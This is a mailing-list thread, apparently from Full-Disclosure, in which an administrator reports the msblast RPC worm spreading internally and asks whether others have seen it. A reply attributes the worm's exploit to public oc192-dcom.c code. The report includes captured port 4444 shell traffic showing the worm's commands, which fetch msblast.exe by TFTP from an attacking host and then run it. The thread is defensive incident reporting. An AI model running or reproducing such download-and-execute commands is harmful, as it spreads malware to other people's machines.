Subject: rpc worm

It appears that the exploit and bindshell portion of the msblast worm is
vanilla, off-the-shelf "oc192-dcom.c"

The only novel code is likely the scripted commands sent to the remote shell
via port 4444

Subject: [Full-Disclosure] rpc worm


We're seeing what looks like an rpc worm spreading internally (gotta love
dialup users), and I'm trying to figure out if this is something new, or
just something old that we finally are getting.

I'm not entirely sure it's a worm, it almost appears to be an auto-rooter
with quick spreading ability (fine line between that and a worm, I
suppose).  Has anybody else seen something with these characteristics:

Host scans local subnet first, looking for vulnerable machines and opening
up port 4444 on the remote host, and running the following:
-------------port 4444 traffic----------
tftp -i aaa.bbb.ccc.ddd GET msblast.exe
start msblast.exe
msblast.exe
HTTP/1.0 403 Forbidden
Server: AdSubtract 2.50
Content-Type: text/html;charset=utf-8
Content-Length: 349

<html>
<head>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">

</head>
<body>
<h1>Forbidden</h1>
<h2>Requests from host hostname.of.attacking.host/aaa.bbb.ccc.ddd not allowed;
only requests from localhost (127.0.0.1) are allowed.
</h2>
</body></html>
-------------port 4444 traffic----------

The exploit appears to only try one attack against the hosts, so I'm
guessing it's cutting its losses and trying only one exploit offset,
unless there's a magic offset that works on both 2k and XP.

Also, just got word that it's apparently being reported on nanog as well.

Batten down the hatches...
